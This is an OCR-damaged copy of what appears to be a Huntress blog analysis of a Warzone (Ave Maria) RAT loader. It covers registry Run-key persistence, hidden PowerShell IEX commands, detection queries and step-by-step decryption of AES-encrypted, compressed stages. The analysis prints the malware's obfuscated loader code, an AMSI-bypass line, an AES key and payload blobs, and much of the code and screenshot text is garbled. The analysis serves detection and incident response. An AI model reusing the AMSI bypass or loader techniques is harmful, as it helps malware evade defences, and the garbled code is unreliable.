Ave Maria and the Chambers of Warzone RAT

# huntress.com/blog/ave-maria-and-the-chambers-of-warzone-rat

Friday, September 30, 2022, seemed a day like any other--until a large amount of PowerShell malware came
charging through seeking immediate attention. Sparing no time, | jumped right in.

At first, this was troubling. Are the detectors working?? Is something broken?? In order to verify our detector
'ExecutionFromEnvironmentVariable' had triggered correctly for all these autoruns, | did a quick search:

details.path:powershell.exe +details.command:"GetEnvironmentVariable"
This gave the result for 40 autoruns. 2 *cracks knuckles* Time to get down to business.

Pro Tip: Doing a quick search helps analysts develop a better understanding of the Elastic search syntax. This
gives analysts a better understanding of common characteristics and could potentially assist in finding additional
footholds.

Now let's dive into the autorun we are checking out.

We can see GetEnvironmentVariable('60493fbacedcfbcabe’, 'User') along with the User Run Key Name. They
both use a Base-16 (HEX) formatting, which means alphabetic characters of A - F and numbers © - 9 with a length
of 12 to 18. Using regex we can use [a-f0-9]{12,18}.
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https://www.huntress.com/blog/ave-maria-and-the-chambers-of-warzone-rat
https://www.elastic.co/guide/en/elasticsearch/reference/5.6/query-dsl-query-string-query.html#query-string-syntax
https://regexr.com/

Search Syntax @

Query details.path:powershell.exe +details.command:"GetEnvironmentVariable"

Search Results (Found 40 results in 1542 ms) ﬂ

Bulk Actions:

Show 50 Vv entries

O Host Type Category Name Command
O 10631060117 Malicious ~ UserRunKey ~ Malware / RAT foacedcibcabe60493 G ! XelExeonRclcyiBybass DS E:
604 !, 'User’))"
O 10631061591 Malicious ~ UserRunKey ~ Malware / RAT fbacedcfbcabe19051 O e\ RoWeSh el eRERecLUCHEICV/BY Pz iddenicomnand =
19051 ', User')
O 10631063330 Malicious ~ UserRunKey  Malware / RAT 42949fbacedcfbcabe [c hellvi o exelEeclionRalicyBypass biddenicemmandRIEATER oD sy
J: (4: :
) Cawi hellwi exe -ExecutionPolicy Bypass hidden -Command "IEX(
O 10631063592 Mallcou=puUecuRinikey g MaiwareJRAT 24 t]:GetEnvironmentVariable('21962fbacedcfbcabe’, ‘User))"
- CAWi hellw1. exe -ExecutionPolicy Bypass hidden -Command i 1
O 10631063891 Malicious ~ User RunKey ~ Malware / RAT BB e e o
O 10838482782 Malicious ~ UserRunKey  Malware / RAT badfbdabe57906 = ,U“m,”“ O TEIET S hidden -Command &
) Malware Artifacts / c 1. exe -ExecutionPolicy Bypass hidden -Command 1
10635960096 Mal Run ke 434
= alicious  UserRUNKSY  Generic eddabcbad3406 GetEnvironmentVariable(43406eddabcbar, 'User)"
O 10631058806 Malicious ~ UserRunKey ~ Malware / RAT 87389fbacedcfbocabe O hellv exe -Exed EYESSS DidenEcE nand L T
] iable('87: ', 'User))"
O 10631060304 Malicious ~ UserRunKey  Malware / RAT 1805fbacedcfbcabe O i hell ';‘User,”,, XepEXeclUonRolly /By pass) biddenicemmandyIBXIERion ey
i iab )
T — - 2336 ety © hellv1 0\powershell exe ExecutionPolicyBypass hidden -Command "IEX((Environmen
: (7336 , User))
O 10635959954 Malicious ~ UserRunKey  Malware / RAT 43406eddabcba & " heliiv.Olpol CR-EEEIRIE B Liddemice i and LEXT
€ le(43 bar, ‘User))
O 10635960231 Malicious ~ UserRunKey ~ Malware / RAT 47589eddabcba < " hetivi.Oipol GO TR RS (e A
4 iable( bar, ‘User))
O 10838482854 Malicious  User RunKey  Malware / RAT badfbdabe27842 e s ,U“m,»“ CO T plccenjConan: 18
O 10631060869 Malicious ~ UserRunKey  Malware / RAT fbacedcfbcabetgos  Cwind e e exe -ExecutionPolicy Bypass hidden -Command i

Now, on to implementing our findings in RIOs data within ELK. We use a similar but modified search query (seen
below) which provided six additional hits. This information tells us this is an active threat still present on the host.
Read: time is of the essence.

+process.command_line.text:"GetEnvironmentVariable" +process.command_line.text:/[a-f0-9]{12,18}/

Reviewing the Foothold Details, we are able to see the persistence created within the Hive Current Users Run Key.
(HKU\SID\SOFTWARE\Microsoft\Windows\CurrentVersion\Run)

The command ran by the Users Run Key launches PowerShell and invokes expressions in the host's environments
registry with the value 60493fbacedcfbcabe.

Foothold Details

File Path c:\windows\system32\windowspowershell\v1.0\powershell.exe (2]

Name fbacedcfbcabe60493 7]

Path c:\windows\system32\windowspowershell\v1.0\powershell.exe ]

User @&

Command C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -Command "IEX([Environment]::GetE

nvironmentVariable('60493fbacedcfbcabe’, 'User"))" 2]

Location HKU\: \SOFTWARE\Microsoft\Windows\CurrentVersion\Run (2]
Binary Mod Time 2021-10-06 09:53:12 EDT €2
Binary Create

Time 2021-10-06 09:53:12 EDT &)

From here we will take to tasking the user's Hive Current Users Environment: (HKU\SID\Environment). We obtain the

next stage within the registry location HKU\SID\Software\<value>.

It’s important to note: These additional registry keys will be required in the report for the customer to remove.
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https://learn.microsoft.com/en-us/previous-versions/windows/desktop/sidebar/system-environment-getenvironmentvariable

Details - Key: HKU

\Environment

Values Subkeys Raw
Show 25 v entries

Name Data

27842badfbdabe $abc = $null; for ($i=0;%$i -le 500;$i++)}{Try{$abc=$abc+(Get-ltemProperty -path
'HKCU:\SOFTWARE\27842badfbdabe").$i}Catch{}}lEX($abc)

57906badfbdabe $abc = $null; for ($i=0;$i -le 500;$i++){Try{$abc=$abc+(Get-ltemProperty -path
'HKCU:\SOFTWARE\57906badfbdabe’).$i}Catch{}}IEX($abc)

7872badfbdabe $abc = $null; for ($i=0;%$i -le 500;$i++}{Try{$abc=$abc+(Get-ltemProperty -path
'HKCU:\SOFTWARE\7872badfbdabe’).$i}Catch{}}IEX($abc)

OneDrive C:\Users\ \OneDrive

Path %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;

TEMP %USERPROFILE%\AppData\Local\Temp

TMP %USERPROFILE%\AppData\Local\Temp

Showing 1 to 7 of 7 entries

Viewing the HKU\SID\Software\27842badfbdabe, we see four values (default, 0, 1 and 3) which show PowerShell

Search:

&

& & & @

< Previous

variables and encoding. Save the values 0, 1 and 3 for later and isolate the script for further analysis.

Details - Key: HKU\

Values Subkeys Raw
Show 25 v entries

Name Data

(Default) 0

0 $knpzuwrxsww =
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("VG9DaGFyQXJyYXk="))
$iawmsguupnwvhgkon = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("S2V5"))

1 IVXCBQ2dWQ6RBgDz1rNABBAVTqIVGUtpmO5fuG7gEX00S2zyT6AWQ7PV0OCao/du7TreXMF1uuqcFuL9PqOWfhwz14Q
LsuxIt0OA7vOMfwRTFKGHPVNoWIqOm4QusI1H+7MZQ3R7Qds6RPI1busKmloLWDQJfSTKQNur9vNfL39jYvPIguWZz70 &
Qkuugkg1259078zcwl]UeP8aYkgAHuUfzCOjleYwfRseVyZ8+tXwE4g2MtjopaOFQ/6PKssbs/SaGRNEfOUp+l4fkXwazPGM

3 tString([System.Convert]::FromBase64String("RGVjb2 1wcmVzew==")) $urkummpuizwjoi = &

([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("WOIPLkNvbXBy 2]

\SOFTWARE\27842badfbdabe

ZXNzaW9uLKNVvbXByZXNzaW9uTW9kzV0=")))) $aaimrvizimrihwx =

Let’s start digging further into the script.

Search:

Type

REG_EXPAND_SZ

REG_EXPAND_SZ

REG_EXPAND_SZ

REG_EXPAND_SZ

REG_EXPAND_SZ

REG_EXPAND_SZ

REG_EXPAND_SZ

1 Next >

Type

REG_SZ

REG_SZ

REG_SZ

REG_SZ

Within the script, it has encoded variables with Base64, a reverse array that joins the data. What could it be hiding?
And make no mistake--it's always hiding something.
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$knpzuwrxsww = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("VG9DaGFyQXJyYX
$jqwmsguupnwvhgkon = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("S2v5"))
$gsrwyxzpgyv = [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String("UGFkZGluZ
$oywmhnhhwvihukv = [System.Text.Encodingl::UTF8.GetString([System.Convert]::FromBase64String("Q2xvc2U=
$svvknsvstxh = [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String("QmxvY2tTaXpl
$tzrmpjtmohxm = [System.Text.Encoding]l::UTF8.GetString([System.Convert]::FromBase64String("S2V5U216ZQ=
$wtonsjgkgpryyoo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("Svy="))
$wvhrphiyugmi = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("Q3J1YXRIRGVjcnlwdG9y"))
$ugtxtutpowyv [System.Text.Encoding] TF8.GetString( [System.Convert] romBase64String("RG1zcG9zZ
$jsjnwtjrgvhp = [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String(

$tvzuoyzmrqqghk = [System.Text.Encoding] TF8.GetString( [System.Convert romBase64String(*Q29weVRv")
$sxptgpgmpgrnusgx = [System.Text.Encodingl::UTF8.GetString( [System.Convert]::FromBase64String("VHIhbnNmb3JtRmluYWxCbG9ja:
$zpwkyoujor = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U31zdGVtLk1lhbmFnZW1lbnQ="))
$kaxpjrsphrgsn = [System.Text.Encoding

$rhnsusxxkqpjq = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("YWlzaUluaXRGYW1sZW(
$htoopgwoqsz [System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String (" Tm9uUHVibG1ljLFNOYXRpYw:
$hkxskshjkwkgoiuog = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("R2VOVHlwZQ=="))
$ogtinzqqnpz = [System.Text.Encoding]::UTF8.GetString( [System.Convert FromBase64String("R2VORm11bGl

$uhrmurymts = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U2V@VmFsdw!

$hnwjguoozsp = [System.Text.Encoding]::UTF8.GetString( [System.Convert FromBase64String (" QXNzZW1ibH
[Ref].$hnwjguoozsp. $hkxskshjkwkgoiuog("$zpwkyoujor" + "." + "$kgxpjrsphrgsn").$ogtinzqqnpz("$rhnsusxxkgpjq","$htoopgwoqsz").$uhrmurymts($null, $true)
$sjupwisgyjzsjgixo = @

$tkzwrtqkusp = 30000000

For ($sjupwisgyjzsjgixo=0; $sjupwisgyjzsjgixo -1t $tkzwrtqkusp;$sjupwisgyjzsjgixo++) { $sjupwisgyjzsjgixo++ }
$nuxvxgjmmjgmy = "=IVQrMD5CH2PKW1y1j5XNScQgZGVRUKIZDcbY1Q2krFppgniND17ck2NWUBIX] qT+fA6GHA1ngao4VPIugh1GIGrtnvj LFMHbCS inU9hKFLOZs61PH47/q0hSz0KFOEF6Q@hmNotSvSA81FGO2,
$uhyntznwuhk = $nuxvxgjmmjgmy.$knpzuwrxsww()

[array]::Reverse($uhyntznwuhk)

$gjrvojovoxotunyvn = —-join($uhyntznwuhk)

$uxkswkhzii = [System.Convert]::FromBase64String("$gjrvojovoxotunyvn")

$hnyxrprgoumgoyp [System.Convert]::FromBase64String("9fJygHL@0oM2KYCIBEtYZ+eXdaGmLYb/krvriVg212i

$zzxhuxizgyhzgz = "==gCkV2ZhSWYNNXZB5SeoBXYyd2b@BXeyNkL5RXayV3Y IN1LtVGdz13U"

$quskpprptowtzwp = $zzxhuxizgyhzgz.$knpzuwrxsww()

[array]::Reverse($quskpprptowtzwp)

$ojvvvgimgjuw = —join($quskpprptowtzwp)

$ssosjgipzngih = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($ojvvvgjmgjuw))
$xytouxqpvzg = New-Object "$ssosjgipznqih"

$ghyushouvuooukysp = "==gQDVk060VZkOWTyVGawl2QukHawFmcn9GdwlncD55e@mcINWZT5Sb1R3c5NIW"

$rszkymzhyyypjohws = $ghyushouvuooukysp.$knpzuwrxsww()

[array]::Reverse($rszkymzhyyypjohws)

$mwgwoogxnwx = —join($rszkymzhyyypjohws)

$rhzxqukrooy = [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String($mwgwoogxnwx) )
$iyttmhwituwq = & ([scriptblock]::Create($rhzxqukrooy))

$xytouxgpvzg.$jsjnwtjrgvhp = $iyttmhwituwq

$zigripunzpp -gNyEDMx80UJpj0dVGZv10ZulGZkFGUukHawFmcn9GdwlncD5Se@ ImcINWZT5Sb IR3C5NIW"

Using Cyberchef, we can attempt to quickly decode the base64 strings with the formula of Ssubsection and
Frombase64. This should grab the majority of strings but will still need some manual intervention. This is where
analysts come into play.

. $knpzuwrxsww =
S [System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String("VGIDaGFy
Section (regex) QXJyYXk:"))
\w{3,3}= $jgwmsquupnwvhgkon =
[System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String(*S2v5"))
$9SIMyxzpayy =
Case sensitive matching 4 Global matching [System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String("UGFkZGlu
Zw=="))
$oywmhnhhwvihukyv =
|:| Ignore errors [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("Q2xvc2U=
"))
$svvknsvstxh =
From Base64 [System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String("QmxvY2tT
axpl"))
Alphabet . $tzrmpjtmohxm =
A-Za-z0-9+/= [Svstem.Text.Encodinal : :UTF8.GetStrina( [Svstem.Convert] : : FromBase64St rina("S2V5U216
time: 3ms
: ra
Remove non-alphabet chars D Strict mode Output 1%23;2 %% g rl:l 2 -
$knpzuwrxsww =
[System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String("ToCharAr
ray"))
$jqwmsguupnwvhgkon =
[System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String('S2v5"))
$gsrwyxzpgyv =

[System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String("Padding=
"))
$oywmhnhhwvihukv =
[System.Text.Encoding] : :UTF8.GetString( [System.Convert]::FromBase64String("Close"))
$svvknsvstxh =
[System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String("QmxvY2tT
axpl"))

T BAKE! $tzrmpjtmohxm =

[
STEP s N Auto Bake [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String("KeySize=

"y
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After replacing the encoded Base64 script, we quickly see it has a key, padding, 1V, and other common encryption
functions. Let’s replace the variables with the corresponding value to make the functions of the script easier to read,
thus attempting to reveal the secret embedded within.

$knpzuwrxsww = [System.Text.Encodingl::UTF8.GetString([System.Convert]::FromBase64String("ToCharArray"))
$jqwmsguupnwvhgkon = [System.Text.Encodingl::UTF8.GetString([System.Convert]::FromBase64String("key"))

$gsrwyxzpgyv = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("Padding="))

$oywmhnhhwvihukv = [System.Text.Encoding]l::UTF8.GetString([System.Convert]::FromBase64String("Close"))

$svvknsvstxh = [System.Text.Encodingl::UTF8.GetString([System.Convert]::FromBase64String("BlockSize"))

$tzrmpjtmohxm = [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String("KeySize="))
$wtonsjgkgpryyoo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("IV"))

$wvhrphiyugmi = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("CreateDecryptor"))
$ugtxtutpowyv = [System.Text.Encoding]l::UTF8.GetString( [System.Convert]::FromBase64String("Dispose="))

$jsjnwtjrgvhp = [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String(*Mode="))

$tvzuoyzmrqqghk = [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String("CopyTo"))
$sxptgpgmpgrnusgx = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("TransformFinalBlock="))
$zpwkyoujor = [System.Text.Encodingl::UTF8.GetString([System.Convert]::FromBase64String("System.Management"))
$kgxpjrsphrgsn = [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String("Automation.AmsiUtils"))
$rhnsusxxkqpjq = [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String("amsiInitFailed"))
$htoopgwoqsz = [System.Text.Encoding]l::UTF8.GetString([System.Convert]::FromBase64String("NonPublic,Static="))
$hkxskshjkwkgoiuog = [System.Text.Encodingl::UTF8.GetString( [System.Convert]::FromBase64String("GetType="))
$ogtinzqqnpz = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("GetField"))

$uhrmurymts = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SetValue"))

$hnwjguoozsp = [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String("Assembly"))
[Ref].$hnwjguoozsp.$hkxskshjkwkgoiuog("$zpwkyoujor™ + "."
$sjupwisgyjzsjgixo = 0

$tkzwrtgkusp = 30000000

For ($sjupwisgyjzsjgixo=0; $sjupwisgyjzsjgixo -1t $tkzwrtqkusp;$sjupwisgyjzsjgixo++) { $sjupwisgyjzsjgixo++ }

$nuxvxgjmmjgmy = "=IVQrMD5CH2PKW1y1j5XNScQgZGVRUKIZzDcbY1Q2KrFppgniND17ck2NWUBIX] qT+FA6GHO1Ingao4VPIugh1GIGrtnvj LFMHbCS inU9hKFLOZs61PH47/q0hSz0KFOEF6Q@hmNot SVSAB1FGO24
$uhyntznwuhk = $nuxvxgjmmjgmy.$knpzuwrxsww()

[array]::Reverse($uhyntznwuhk)

$gjrvojovoxotunyvn = —join($uhyntznwuhk)

$uxkswkhzii = [System.Convert]::FromBase64String("$gjrvojovoxotunyvn")

+ "$kaxpjrsphrgsn").$ogtinzqqnpz (*$rhnsusxxkqpjg","$htoopgwogsz").$uhrmurymts($null, $true)

Now with the script variables replaced, we can see the payload is using AES Encryption using cipher mode Electronic
CodeBook (ECB), dropping 16 bytes to create the IV, and it has also been compressed.

Note: Some samples use different cipher modes so make sure to verify this (for example, we have seen ECB
and CBC).

For ($sjupwisgyjzsjgixo=0; $sjupwisgyjzsjgixo -1t $tkzwrtgkusp;$sjupwisgyjzsjgixo++) { $sjupwisgyjzsjgixo++ }

$payload = "=IVQrMD5CH2PKW1y1j5XNScQgZGvRUKIzDcbY1Q2krFppqnjND17ck2NWU@IXjqT+fA6GHOngao4VPIugh1GIGrtnvj IFMHbCSinU9hkFLOZs61PH47/q0hSz0KFOEF6Q@hmNotSvSA81FGA24qday48
$Join = $payload.$ToCharArray()

[array]::Reverse($Join)

$ConvertB64 = —join($Join)

$DropBytes = [System.Convert]::FromBase64String("$ConvertB64")

$AESkey = [System.Convert]::FromBase64String("9fJygHL@ooM2KYCI6EtYZ+eXdaGmLYb/krvrivg212Q=")

$System.Security.Cryptography.AesManaged = "System.Security.Cryptography.AesManaged"

$quskpprptowtzwp = $System.Security.Cryptography.AesManaged.$ToCharArray()

[array]::Reverse($quskpprptowtzwp)

$ojvvvgimgjuw = —join($quskpprptowtzwp)

$ssosjgipzngih = [System.Text.Encoding]l::UTF8.GetString( [System.Convert]::FromBase64String($ojvvvqjmqjuw))

$AES = New-Object "$ssosjgipzngih"

$ghyushouvuooukysp = " [System.Security.Cryptography.CipherMode]: : ECB"

$rszkymzhyyypjohws = $ghyushouvuooukysp.$ToCharArray()

[array]::Reverse($rszkymzhyyypjohws)

$mwgwoogxnwx = —join($rszkymzhyyypjohws)

$rhzxqukrooy = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mwgwoogxnwx))

$iyttmhwituwg = & ([scriptblock]::Create($rhzxqukrooy))

$AES.$Mode = $iyttmhwituwq

$zigripunzpp = " [System.Security.Cryptography.PaddingMode] ::15010126"

$wvvktnyguqj = $zigripunzpp.$ToCharArray()

[array]::Reverse($wvvktnyguqj)

$iquuiirgxhw = —join($wvvktnyguqj)

$hvogwhqvkw = [System.Text.Encodingl::UTF8.GetString([System.Convert]::FromBase64String($iquuiirgxhw))

$hyuzvnqqppvvy = & ([scriptblock]::Create($hvogwhqvkw))

$AES.$padding = $hyuzvnqqppvvy

$AES.$Blocksize = 128

$AES.$KeySize = 256

$AES. $key = $AESkey

$AES.$IV = $DropBytes[0..15]

$vkihpskoizhg = [System.Text.Encodingl::UTF8.GetString([System.Convert]::FromBase64String("System.I0.MemoryStream"))
$AES-DropBytes-Transform = New-Object $vkihpskoizhg(,$AES.$CreateDecryptor().$TransformFinalBlock($DropBytes,16,$DropBytes.Length-16))
$rkqgutkjnriv = New-Object $vkihpskoizhg

$Decompress = [System.Text.Encodingl::UTF8.GetString([System.Convert]::FromBase64String(*"Decompress"))

$I0.Compression.CompressionMode = & ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(" [I0.Compression.CompressionMode
$System.I0.Compression.DeflateStream = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("System.I0.Compression.DeflateStream"))
$zhiystvukrsmhu = New-Object $System.IO.Compression.DeflateStream $AES-DropBytes-Transform, ($I0.Compression.CompressionMode::$Decompress)
$zhiystvukrsmhu.$CopyTo($rkqgutk]‘nriv)|

$zhiystvukrsmhu.$Close()

$AES. $Dispose()

To get the IV for our AES encryption, we need to place the payload in Cyberchef. Since we can see the padding = for
Baseb64, we reverse the payload. Then we use From Base64 after which we drop the bytes from 16 bytes (start at 16
and a large length). Now we convert the IV back To Base64.



https://medium.com/asecuritysite-when-bob-met-alice/electronic-code-book-ecb-and-cipher-block-chaining-cbc-e3309d704917

This results in our IV: duNJInxEFmO/Nw/W34mpGMg==

Recipe SN ]

Reverse (W]
By
Character

From Base64 S n
Alphabet .
A-Za-z0-9+/=

Remove non-alphabet chars [ strict mode

Drop bytes S n
Start Length
16 2342345125

|:] Apply to each line

To Base64 S n

Alphabet
A-Za-z0-9+/=

Auto Bake

length: 3436 =
Inpln lines: 1 + D E . =

; m/UbkgWgatQGVIHLEC
f51k+Jz5n]/av+3abG

iVyM84cYc
BOf
NPZBU4xvszfkVNPa8xM]tSBhou91iEa@RzniU03Z01iv4uaVZ25hu5A2zZrYYZNZtf2/owXY+xr31IZat3bHt

start: 0 time: 3ms

Output end: 24 length: 24 [ I_D ] ra

length: 24 lines: 1

duNJnxEFm@/Nw/W34mpGMg==

Let's combine everything together now. Make sure to reverse the payload From Base64 and drop the first 16 Bytes.
With the AES decrypt we require the Base64 Key ofJygHL[...], an IV that was obtained earlier duNJnx[...], then
change the AES cipher mode to ECB, input as Raw, and the output as Raw. Since the payload has also been
compressed we will be required to use Raw Inflate to get our final output.
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duNJInxEFm@/Nw/W34mpGMhn3WOMgWP fD7/8fVLSn7WlnbZkv fFY8bxnlzkpSHHCpr3UcmkmXW2+YU4u7RwP

DI FPKI1KFYwDIQed870tgMIDLWsC/PHAQkS83er54D6AI10DKkuulgFX3hiZj000c610thp7@H50KHIXRNQOk
start Length Lc5yqSj3d2ZNwFFDN19ouPAPh/CugGmYa/z8E/PizgAjzrk4WubTBIKGeQq7qcLY8ghIDnWE3B1l/Qsu91A
o 16 coqvgy8JjudDBf izuvtgUOvekHKAQ4 roV1UM3geIx78pW30CwPFpXQ6ax0dYuwROIRX ryF71X953XH1tL65

SccltZwDsBlvyASaM4hYisb8/97ZBussAYkJa93s0zgiuaMVeZPit5gD8FJIOMkiYdY@090wHNnucgiQ/CNnfx
WOKTZRzVZhOEZPT+1Kg7XeJxYZgidWS4RXMW1RZiwHSNXqZS9BqyUZFZiwz17aXt0FiBFUstnfcgglLsMH9
[J Apply to each line 8X6qYWYYDal0ETYQHW7 cRIIOTtjg+IbWVb9pnI+MBtOIO+ulbKatt368YqQ21e/2MA/Vx6p3hWestGuaxAq
65aKX2LHy0zPGtB3NrXsihzr7jFo7rZt+hULhFXswwae2yJVCghpTieew3dnWMOANYuHvwYTXbXsN+Iu@0j
ay04IDsUy1vFOOCYWFXIfx23yfN1dfr4IEAzXN8m15GnZcG9ofaw5SmiMQqIsasB3NQG8yLZ/IrWnxh+AfLY

AES Decrypt sxkRdRchdEkJOSLZC3ZHjyC@8evBoy3xtxpGwzgP4yz2BNIE2nAMXcnuFDUFGh5rZwzMxbs+aGPa+DeXZfN
20PsikFgbguvTZFFk070GxxExXHNmZjck4YpYdIXB+m71tJ0/7B1kZQkPRCtBvgZ2DUYuP9SAtFXSxmliph9
Key BASEG4 ~ MPpToC2Ib3I+/K/QmQ+z5zIUvvKadsFEdLCbBgBNHVqLMdPDRWVI8A2sIyEAXDgOWDFFGItUcyiTHWIMadr
9fJygHLOoOM2KYCIGEtYZ+eXda. QJVUQF6SX0phWwpLuxay jDmaxY30e6/dvM2mCKZ4av8yaw+VYcdepioi/ocmi fLpuVCkRHNHPBBZKIVXnN+
v M10g92KsjTKOX1Enp@t2k 169XBBUHOhhLE2sPYYXk1QKIEMQPWJI2Y211B41j3SpPkIVW8EHNYyt0bgAQQh0@
duNInXEFmO/Nw/W34mpGMg== BASE64 ¥ WBUuwaBTé-Slshtyc;!?10u5chE1]8017v2f0+9+w1eCRPzFcsm2133nyVv8/N/VN065cYZC9HzVUP1c
iUsd6VtHXiISJ/kf1i1iv60ZavDVxK+VvUXvVHFzYKLdC4v+DEh8XBe0c2aHEXYEZRDkP7LMoCcMSI0hBC+1u
time: 8ms
Mode Input length: 6974 [_ ra
ECB Raw Output s o B0D® =
$gngosiijrvmngysz =
Output [System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String("VGIDaGFy
Raw QXJyYXk="))
$umumpzzvgqovxrn =
Raw Inflate [System.Text.Encoding]: :UTF8.GetString( [System.Convert]::FromBase64String("S2Vv5"))
$nqzqygospspzpxu =
Start index Initial output buffer size [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String("UGFkZGlu
Zw=="))
$ghhvgrwvknhij =
Buffer expansion type D Resize buffer after [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String("Q2xvc2U=
Adaptive decompression "))
$hpjknxgoykpziwjtz =
[System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String("QmxvY2tT
e I Xpl"
STEP < BAI axpl®))
) Auto Bake $ugkiupnrrrth =

[Svstem.Text.Encodinal::UTF8.GetStrina( [System.Convert]::FromBase64Strina("S2V5U216

When inspecting the output we can already see the next stage is another script. This script of the payload is identical
to the previous one. This is a rinse-and-repeat stage. Hope you weren't expecting this to be straightforward; that'd be
too easy!

$gngosiijrvmngysz = [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String("VGIDaGFyQXJyYXk="))
$umumpzzvggovxrn = [System.Text.Encoding]l::UTF8.GetString( [System.Convert]::FromBase64String("S2v5"))

$nqzqygospspzpxu = [System.Text.Encodingl TF8.GetString( [System.Convert]::FromBase64String("UGFKZGluzw=="))
$ghhvgrwvknhij = [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String("Q2xvc2u="))
$hpjknxgoykpziwjtz = [System.Text.Encodingl::UTF8.GetString([System.Convert]::FromBase64String("QmxvY2tTaXpl"))
$ugkiupnrrrth = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("S2V5U216ZQ=="))
$kpwjvpgqgzpz = [System.Text.Encoding]::UTF8.GetString([System.Convert romBase64String("SvY="))

$qpntjswyqoi = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("Q3J1YXR1RGVjcnlwdG9y"))
$xwtkmmmzsto = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("RG1zcG92ZQ:

$yuhrishgyppnh = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("TWIkZQ

$otiuwggmgrsrty = [System.Text.Encoding]l::UTF8.GetString([System.Convert]::FromBase64String("Q29weVR

$rzrwvorxyjn = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("VHIhbnNmb3JtRmluYWxCbG9jaw:
$pkvtzpttogwvtuxu = [System.Text.Encoding]l::UTF8.GetString( [System.Convert]::FromBase64String("U31zdGVtLk1hbmFnZW11bnQ:
$njtthsumjkiktu [System.Text.Encoding] : :UTF8.GetString( [System.Convert]::FromBase64String ("QXV@b21hdGlvbi5BbXNpVXRpbl
$ttmpivjgxmozu = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("YWlzaUluaXRGYW1sZWQ="))
$whqtskpwyvwgnozgr = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("Tm9uUHVibG1jLFNOYXRpYw:
$vpvgsngvih = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("R2VOVHIwZQ=="))
$xnmzvgptgkgxrqpms = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("R2VORm11bGQ="))
$rgtzgnxjztvzj = [System.Text.Encodingl::UTF8.GetString([System.Convert]::FromBase64String("U2VOVmFsdwu="))
$ozkjwtrtjxgiimmk = [System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String("QXNzZwW1ibHk="))
[Ref].$ozkjwtrtjxgiimmk. $vpvgsngvih("$pkvtzpttogwvtuxu™ + "." + "$njtthsumjkiktu").$xnmzvqptgkgxrgpms("$ttmpivjgxmozu","$whqtskpwyvwgnozgr").$rgtzgnxjztvzj($null,$tr
$yyxtwgkttqghqijqi = 0

$skoghgvnvjmix = 30000000

For ($yyxtwgkttqqhqijqi=0; $yyxtwgkttqghgqijqi -1t $skoghgvnvjimix;$yyxtwgkttqqghqijqi++) { $yyxtwgkttqghqijqi++ }
$sgripsgtoum QmHT+gUD+34mUqwkebn4s@Cr9okc4Re/Xns5K7P9fgLItYySTB1k5fGoBU6IvUbj0oRhA6whFmx0aVqgRghCNzhqqn7jQoELBwB/DxDDdHcK@Ya4N7KiPvroCrjNfaBi3LgmEln7e7Ahm3yfonqg
